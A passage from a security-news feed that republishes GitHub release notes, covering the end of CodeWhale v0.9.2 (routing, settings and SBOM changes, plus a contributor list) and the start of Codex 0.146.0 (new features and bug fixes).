<p>The project context pack (pretty-printed workspace tree) is off by default<br>
and opt-in via <code>[context] project_pack = true</code>. Language law is compressed<br>
while keeping the English-constitution / user-language-reply contract.</p>
</li>
<li>
<p>Modal lists and config pickers wrap selection at both ends (Down past the<br>
last row returns to the top). Home-directory resolution prefers<br>
<code>HOME</code>/<code>USERPROFILE</code> via <code>effective_home_dir</code> across remaining call sites so<br>
Windows tests that fake the home env vars match production paths. The<br>
equivalent home-directory sweep came from closed PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4967474029" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/4760" data-hovercard-type="pull_request" data-hovercard-url="/Hmbown/CodeWhale/pull/4760/hovercard" href="https://github.com/Hmbown/CodeWhale/pull/4760">#4760</a> by<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/EvanProgramming/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/EvanProgramming">@EvanProgramming</a>.</p>
</li>
</ul>
<h3>Changed</h3>
<ul>
<li>
<p>Prefix-cache tool catalog entries store only the SHA-256 digest, not the<br>
joined catalog string. Unused plan-transition validation helpers are removed.</p>
</li>
<li>
<p>Settings sections now hold only what they claim (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4965158448" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/4751" data-hovercard-type="issue" data-hovercard-url="/Hmbown/CodeWhale/issues/4751/hovercard" href="https://github.com/Hmbown/CodeWhale/issues/4751">#4751</a>). Fleet keeps<br>
Fleet/member concerns; <code>/goal</code> moved to a <strong>Session</strong> section and Workflow<br>
orchestration to its own <strong>Workflow</strong> section. The inert DeepSeek-only<br>
<code>default_model</code> fallback moved out of Model settings into an explicit<br>
<strong>Legacy</strong> section — exact-Fleet users switch Fleets, not fallback models;<br>
the config field is retained because the runtime still reads it. This is<br>
presentation only: the persisted keys (<code>goal_command</code>, <code>workflow</code>,<br>
<code>default_model</code>), their values, scopes, and runtime behavior are unchanged.</p>
</li>
<li>
<p>Auto model routing is scoped to the active provider. The classifier<br>
inventory no longer discloses other providers' runnable routes (or the fact<br>
that their credentials exist), a classifier reply naming another provider is<br>
refused, the local heuristic no longer falls back to a different provider<br>
when the active one is unusable, and the implicit DeepSeek-flash classifier<br>
is skipped for non-DeepSeek sessions. Auto receipts and the model picker<br>
hint report the active-provider-only scope instead of "runnable providers".<br>
Cross-provider Auto is available only through the persisted <code>[auto] cross_provider = true</code> opt-in (an explicit <code>[auto.router]</code> route remains its<br>
own opt-in for the classifier call). Same-provider strong/fast selection and<br>
<code>[auto] cost_saving</code> are unchanged.</p>
</li>
<li>
<p>The QA pseudo-terminal acceptance harness now parses frames with <code>rio-vt</code><br>
behind its existing neutral frame/color surface, retaining the assertions<br>
while removing the <code>vt100</code> dependency (PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4991382770" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/4931" data-hovercard-type="pull_request" data-hovercard-url="/Hmbown/CodeWhale/pull/4931/hovercard" href="https://github.com/Hmbown/CodeWhale/pull/4931">#4931</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/raphamorim/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/raphamorim">@raphamorim</a>).</p>
</li>
<li>
<p>Anthropic Messages and OpenAI Responses stream opening now share the<br>
<code>client/stream_entry.rs</code> seam already used by Chat Completions: one bounded<br>
response-header wait, shared dual/HTTP-1.1 policy selection, at most one<br>
HTTP/1.1 fallback on a classified HTTP/2 header stall, and common idle-timeout<br>
diagnostics. Wire-specific authentication, headers, endpoints, decoding, and<br>
rate-limit behavior remain at each adapter edge. The timeout-placement<br>
diagnosis and fix direction came from closed PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4964800256" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/4743" data-hovercard-type="pull_request" data-hovercard-url="/Hmbown/CodeWhale/pull/4743/hovercard" href="https://github.com/Hmbown/CodeWhale/pull/4743">#4743</a> by<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vibecoding-skills/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vibecoding-skills">@vibecoding-skills</a>.</p>
</li>
</ul>
<h3>Security</h3>
<ul>
<li>Release containers now publish an SBOM attestation and pin maximum-mode<br>
provenance explicitly so supply-chain metadata cannot silently weaken with a<br>
builder-default change (PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5003740316" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/4958" data-hovercard-type="pull_request" data-hovercard-url="/Hmbown/CodeWhale/pull/4958/hovercard" href="https://github.com/Hmbown/CodeWhale/pull/4958">#4958</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kobihikri/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kobihikri">@kobihikri</a>).</li>
</ul>
<h2>Contributors</h2>
<p>Thank you to the contributors whose code, reports, and reviews shaped v0.9.2:</p>
<ul>
<li><a href="https://github.com/greyfreedom">@greyfreedom</a> — exact repository-scoped<br>
allow grants and cross-platform path semantics (PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4967564429" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/4761" data-hovercard-type="pull_request" data-hovercard-url="/Hmbown/CodeWhale/pull/4761/hovercard" href="https://github.com/Hmbown/CodeWhale/pull/4761">#4761</a>), plus safe<br>
permission-rule listing and snapshot-bound removal (PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5005448536" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/4960" data-hovercard-type="pull_request" data-hovercard-url="/Hmbown/CodeWhale/pull/4960/hovercard" href="https://github.com/Hmbown/CodeWhale/pull/4960">#4960</a>).</li>
<li><a href="https://github.com/nightt5879">@nightt5879</a> — off-event-loop clipboard<br>
writes (PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4981116180" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/4896" data-hovercard-type="pull_request" data-hovercard-url="/Hmbown/CodeWhale/pull/4896/hovercard" href="https://github.com/Hmbown/CodeWhale/pull/4896">#4896</a>), complete locale exposure in settings (PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4979246974" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/4856" data-hovercard-type="pull_request" data-hovercard-url="/Hmbown/CodeWhale/pull/4856/hovercard" href="https://github.com/Hmbown/CodeWhale/pull/4856">#4856</a>), CRLF-safe<br>
edits (PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4994378650" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/4942" data-hovercard-type="pull_request" data-hovercard-url="/Hmbown/CodeWhale/pull/4942/hovercard" href="https://github.com/Hmbown/CodeWhale/pull/4942">#4942</a>), and reasoning-effort preservation across automatic model<br>
routing (PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5005451713" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/4961" data-hovercard-type="pull_request" data-hovercard-url="/Hmbown/CodeWhale/pull/4961/hovercard" href="https://github.com/Hmbown/CodeWhale/pull/4961">#4961</a>).</li>
<li><a href="https://github.com/XhesicaFrost">@XhesicaFrost</a> — the configurable<br>
session-token header (PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4927377309" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/4610" data-hovercard-type="pull_request" data-hovercard-url="/Hmbown/CodeWhale/pull/4610/hovercard" href="https://github.com/Hmbown/CodeWhale/pull/4610">#4610</a>) and context-menu hover alignment (PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4981177356" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/4897" data-hovercard-type="pull_request" data-hovercard-url="/Hmbown/CodeWhale/pull/4897/hovercard" href="https://github.com/Hmbown/CodeWhale/pull/4897">#4897</a>).</li>
<li><a href="https://github.com/cyq1017">@cyq1017</a> — the hooks configuration/executor<br>
split from PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4826697393" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/4087" data-hovercard-type="pull_request" data-hovercard-url="/Hmbown/CodeWhale/pull/4087/hovercard" href="https://github.com/Hmbown/CodeWhale/pull/4087">#4087</a>.</li>
<li><a href="https://github.com/snail-vs">@snail-vs</a> (snailoniu) — OpenCode Zen's<br>
model-aware routes, authentication, documentation, and test isolation from<br>
closed PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4908652248" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/4467" data-hovercard-type="pull_request" data-hovercard-url="/Hmbown/CodeWhale/pull/4467/hovercard" href="https://github.com/Hmbown/CodeWhale/pull/4467">#4467</a>, whose contributor commits are preserved in the candidate.</li>
<li><a href="https://github.com/SparkofSpike">@SparkofSpike</a> — the zh-Hans translation<br>
quality review harvested from PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4983900427" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/4908" data-hovercard-type="pull_request" data-hovercard-url="/Hmbown/CodeWhale/pull/4908/hovercard" href="https://github.com/Hmbown/CodeWhale/pull/4908">#4908</a>, duplicate-session fix in PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5007181884" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/4963" data-hovercard-type="pull_request" data-hovercard-url="/Hmbown/CodeWhale/pull/4963/hovercard" href="https://github.com/Hmbown/CodeWhale/pull/4963">#4963</a>,<br>
LaTeX implementation from PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5010736304" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/4973" data-hovercard-type="pull_request" data-hovercard-url="/Hmbown/CodeWhale/pull/4973/hovercard" href="https://github.com/Hmbown/CodeWhale/pull/4973">#4973</a> landed through <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5011035406" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/4974" data-hovercard-type="pull_request" data-hovercard-url="/Hmbown/CodeWhale/pull/4974/hovercard" href="https://github.com/Hmbown/CodeWhale/pull/4974">#4974</a>, and the context-menu<br>
reproduction in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4973765241" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/4803" data-hovercard-type="issue" data-hovercard-url="/Hmbown/CodeWhale/issues/4803/hovercard" href="https://github.com/Hmbown/CodeWhale/issues/4803">#4803</a>.</li>
<li><a href="https://github.com/GTC2080">@GTC2080</a> — the request-preview concept from<br>
PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4402532155" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/1099" data-hovercard-type="pull_request" data-hovercard-url="/Hmbown/CodeWhale/pull/1099/hovercard" href="https://github.com/Hmbown/CodeWhale/pull/1099">#1099</a>.</li>
<li><a href="https://github.com/h3c-hexin">@h3c-hexin</a> — non-UTF-8 <code>fetch_url</code><br>
decoding direction from PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4983985659" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/4909" data-hovercard-type="pull_request" data-hovercard-url="/Hmbown/CodeWhale/pull/4909/hovercard" href="https://github.com/Hmbown/CodeWhale/pull/4909">#4909</a>.</li>
<li><a href="https://github.com/fleitz">@fleitz</a> — required source-candidate credit for<br>
the canonical <code>Bash</code> no-<code>cwd</code> workspace fix and regression in PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4942772212" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/4673" data-hovercard-type="pull_request" data-hovercard-url="/Hmbown/CodeWhale/pull/4673/hovercard" href="https://github.com/Hmbown/CodeWhale/pull/4673">#4673</a><br>
(issue <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4942774746" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/4674" data-hovercard-type="issue" data-hovercard-url="/Hmbown/CodeWhale/issues/4674/hovercard" href="https://github.com/Hmbown/CodeWhale/issues/4674">#4674</a>).</li>
<li><a href="https://github.com/LmeSzinc">@LmeSzinc</a> — the Windows CRLF <code>edit_file</code><br>
reproduction, root-cause analysis, and affected-code anchors in issue <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4971267178" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/4764" data-hovercard-type="issue" data-hovercard-url="/Hmbown/CodeWhale/issues/4764/hovercard" href="https://github.com/Hmbown/CodeWhale/issues/4764">#4764</a>.</li>
<li><a href="https://github.com/atmosuwiryo">@atmosuwiryo</a> — ACP numeric-id compatibility<br>
(PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4987992554" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/4929" data-hovercard-type="pull_request" data-hovercard-url="/Hmbown/CodeWhale/pull/4929/hovercard" href="https://github.com/Hmbown/CodeWhale/pull/4929">#4929</a>) and the Indonesian documentation and website locale (PRs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5006683226" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/4962" data-hovercard-type="pull_request" data-hovercard-url="/Hmbown/CodeWhale/pull/4962/hovercard" href="https://github.com/Hmbown/CodeWhale/pull/4962">#4962</a><br>
and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5010577651" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/4972" data-hovercard-type="pull_request" data-hovercard-url="/Hmbown/CodeWhale/pull/4972/hovercard" href="https://github.com/Hmbown/CodeWhale/pull/4972">#4972</a>).</li>
<li><a href="https://github.com/M-Maciej">@M-Maciej</a> — the expanded-by-default reasoning<br>
setting and its original report (PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4987762796" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/4928" data-hovercard-type="pull_request" data-hovercard-url="/Hmbown/CodeWhale/pull/4928/hovercard" href="https://github.com/Hmbown/CodeWhale/pull/4928">#4928</a>, issue <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4987497010" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/4925" data-hovercard-type="issue" data-hovercard-url="/Hmbown/CodeWhale/issues/4925/hovercard" href="https://github.com/Hmbown/CodeWhale/issues/4925">#4925</a>).</li>
<li><a href="https://github.com/raphamorim">@raphamorim</a> — migration of the QA PTY frame<br>
parser to <code>rio-vt</code> (PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4991382770" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/4931" data-hovercard-type="pull_request" data-hovercard-url="/Hmbown/CodeWhale/pull/4931/hovercard" href="https://github.com/Hmbown/CodeWhale/pull/4931">#4931</a>).</li>
<li><a href="https://github.com/LI-Jialu">@LI-Jialu</a> — truthful finalization of restored<br>
stale shell cells (PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4993961802" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/4937" data-hovercard-type="pull_request" data-hovercard-url="/Hmbown/CodeWhale/pull/4937/hovercard" href="https://github.com/Hmbown/CodeWhale/pull/4937">#4937</a>).</li>
<li><a href="https://github.com/kobihikri">@kobihikri</a> — release-container SBOM and<br>
explicit provenance mode (PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5003740316" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/4958" data-hovercard-type="pull_request" data-hovercard-url="/Hmbown/CodeWhale/pull/4958/hovercard" href="https://github.com/Hmbown/CodeWhale/pull/4958">#4958</a>).</li>
<li><a href="https://github.com/EvanProgramming">@EvanProgramming</a>,<br>
<a href="https://github.com/adity982">@adity982</a>, and<br>
<a href="https://github.com/vibecoding-skills">@vibecoding-skills</a> — equivalent fix<br>
direction for the effective-home sweep (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4967474029" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/4760" data-hovercard-type="pull_request" data-hovercard-url="/Hmbown/CodeWhale/pull/4760/hovercard" href="https://github.com/Hmbown/CodeWhale/pull/4760">#4760</a>), MCP call-once behavior<br>
(<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4965599814" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/4756" data-hovercard-type="pull_request" data-hovercard-url="/Hmbown/CodeWhale/pull/4756/hovercard" href="https://github.com/Hmbown/CodeWhale/pull/4756">#4756</a>), and streaming/non-streaming timeout split (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4964800256" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/4743" data-hovercard-type="pull_request" data-hovercard-url="/Hmbown/CodeWhale/pull/4743/hovercard" href="https://github.com/Hmbown/CodeWhale/pull/4743">#4743</a>).</li>
<li><a href="https://github.com/antarikshraya">@antarikshraya</a> — the LaTeX transcript<br>
rendering report in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5001779611" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/4957" data-hovercard-type="issue" data-hovercard-url="/Hmbown/CodeWhale/issues/4957/hovercard" href="https://github.com/Hmbown/CodeWhale/issues/4957">#4957</a>.</li>
<li><a href="https://github.com/eugenicum">@eugenicum</a> — the token-header request and<br>
output-presentation measurements in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4917572841" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/4520" data-hovercard-type="issue" data-hovercard-url="/Hmbown/CodeWhale/issues/4520/hovercard" href="https://github.com/Hmbown/CodeWhale/issues/4520">#4520</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4908729362" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/4468" data-hovercard-type="issue" data-hovercard-url="/Hmbown/CodeWhale/issues/4468/hovercard" href="https://github.com/Hmbown/CodeWhale/issues/4468">#4468</a>.</li>
<li><a href="https://github.com/whp233">@whp233</a> — the StepFun/OpenCode subscription-route<br>
request in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4918376763" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/4526" data-hovercard-type="issue" data-hovercard-url="/Hmbown/CodeWhale/issues/4526/hovercard" href="https://github.com/Hmbown/CodeWhale/issues/4526">#4526</a>.</li>
<li><a href="https://github.com/redjade75723">@redjade75723</a>,<br>
<a href="https://github.com/hardy922">@hardy922</a>,<br>
<a href="https://github.com/JayBeest">@JayBeest</a>,<br>
<a href="https://github.com/elijahchan2019">@elijahchan2019</a>,<br>
<a href="https://github.com/cy2311">@cy2311</a>, and<br>
<a href="https://github.com/wywsoor">@wywsoor</a> — reports and product direction behind<br>
the stale-workspace diagnosis (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4832458456" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/4100" data-hovercard-type="issue" data-hovercard-url="/Hmbown/CodeWhale/issues/4100/hovercard" href="https://github.com/Hmbown/CodeWhale/issues/4100">#4100</a>), native-tool-token filtering (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4790446346" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/3880" data-hovercard-type="issue" data-hovercard-url="/Hmbown/CodeWhale/issues/3880/hovercard" href="https://github.com/Hmbown/CodeWhale/issues/3880">#3880</a>),<br>
contributor onboarding (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4839355599" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/4227" data-hovercard-type="issue" data-hovercard-url="/Hmbown/CodeWhale/issues/4227/hovercard" href="https://github.com/Hmbown/CodeWhale/issues/4227">#4227</a>), optional reasoning highlight (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4828921311" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/4089" data-hovercard-type="issue" data-hovercard-url="/Hmbown/CodeWhale/issues/4089/hovercard" href="https://github.com/Hmbown/CodeWhale/issues/4089">#4089</a>),<br>
session control (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4619133252" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/2934" data-hovercard-type="issue" data-hovercard-url="/Hmbown/CodeWhale/issues/2934/hovercard" href="https://github.com/Hmbown/CodeWhale/issues/2934">#2934</a>), and export/restore correlation (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4561644628" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/2494" data-hovercard-type="issue" data-hovercard-url="/Hmbown/CodeWhale/issues/2494/hovercard" href="https://github.com/Hmbown/CodeWhale/issues/2494">#2494</a>).</li>
</ul>
<p>See <a href="https://github.com/Hmbown/CodeWhale/blob/main/CHANGELOG.md">CHANGELOG.md</a> for full notes and <a href="https://github.com/Hmbown/CodeWhale/blob/main/docs/CHANGELOG_ARCHIVE.md">docs/CHANGELOG_ARCHIVE.md</a> for older releases.</p></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[GitHub: 0.146.0]]></title>
<description><![CDATA[New Features

Name new sessions with /new or /clear, pin important threads, and switch between side conversations without closing them. (#34605, #34840, #35011)
Support Agent Plugins manifests, workspace plugin publishing, and additional plugin marketplaces for Amazon Bedrock and Claude Code. (#3...]]></description>
<link>https://tsecurity.de/de/3698703/downloads/github-01460/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3698703/downloads/github-01460/</guid>
<pubDate>Mon, 03 Aug 2026 00:12:44 +0200</pubDate>
<content:encoded><![CDATA[<div class="github-feed-entry"><h2>New Features</h2>
<ul>
<li>Name new sessions with <code>/new</code> or <code>/clear</code>, pin important threads, and switch between side conversations without closing them. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4942730935" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34605" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34605/hovercard" href="https://github.com/openai/codex/pull/34605">#34605</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4953825474" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34840" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34840/hovercard" href="https://github.com/openai/codex/pull/34840">#34840</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4962891693" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/35011" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/35011/hovercard" href="https://github.com/openai/codex/pull/35011">#35011</a>)</li>
<li>Support Agent Plugins manifests, workspace plugin publishing, and additional plugin marketplaces for Amazon Bedrock and Claude Code. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4965647957" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/35105" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/35105/hovercard" href="https://github.com/openai/codex/pull/35105">#35105</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4972508478" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/35254" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/35254/hovercard" href="https://github.com/openai/codex/pull/35254">#35254</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4958388913" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34931" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34931/hovercard" href="https://github.com/openai/codex/pull/34931">#34931</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4961472973" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34979" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34979/hovercard" href="https://github.com/openai/codex/pull/34979">#34979</a>)</li>
<li>Fork threads with paginated history, including temporary forks that do not appear in thread listings. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4970699357" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/35220" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/35220/hovercard" href="https://github.com/openai/codex/pull/35220">#35220</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4972395440" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/35251" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/35251/hovercard" href="https://github.com/openai/codex/pull/35251">#35251</a>)</li>
<li>Connect app-server to remote Code Mode hosts over WebSocket. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4964666179" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/35078" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/35078/hovercard" href="https://github.com/openai/codex/pull/35078">#35078</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4965226945" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/35098" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/35098/hovercard" href="https://github.com/openai/codex/pull/35098">#35098</a>)</li>
<li>Enable standalone web search for compatible custom model providers. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4954150978" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34846" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34846/hovercard" href="https://github.com/openai/codex/pull/34846">#34846</a>)</li>
<li>Discover executor-provided skills and securely read their associated resources, including explicitly selected skills. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4969018472" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/35184" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/35184/hovercard" href="https://github.com/openai/codex/pull/35184">#35184</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4969519422" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/35198" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/35198/hovercard" href="https://github.com/openai/codex/pull/35198">#35198</a>)</li>
</ul>
<h2>Bug Fixes</h2>
<ul>
<li>Honor configured proxies across authentication, plugin downloads, MCP authorization, remote execution, WebSockets, redirects, and LM Studio connections. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4936400926" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34479" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34479/hovercard" href="https://github.com/openai/codex/pull/34479">#34479</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4937668292" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34509" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34509/hovercard" href="https://github.com/openai/codex/pull/34509">#34509</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4944789790" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34655" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34655/hovercard" href="https://github.com/openai/codex/pull/34655">#34655</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4945396673" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34678" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34678/hovercard" href="https://github.com/openai/codex/pull/34678">#34678</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4963472422" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/35023" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/35023/hovercard" href="https://github.com/openai/codex/pull/35023">#35023</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4963960324" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/35056" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/35056/hovercard" href="https://github.com/openai/codex/pull/35056">#35056</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4971599838" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/35239" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/35239/hovercard" href="https://github.com/openai/codex/pull/35239">#35239</a>)</li>
<li>Keep MCP connections and Apps tools current when authentication or configuration changes, reconnecting closed servers without restarting healthy connections. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4960073918" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34952" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34952/hovercard" href="https://github.com/openai/codex/pull/34952">#34952</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4960369272" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34957" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34957/hovercard" href="https://github.com/openai/codex/pull/34957">#34957</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4963629318" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/35028" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/35028/hovercard" 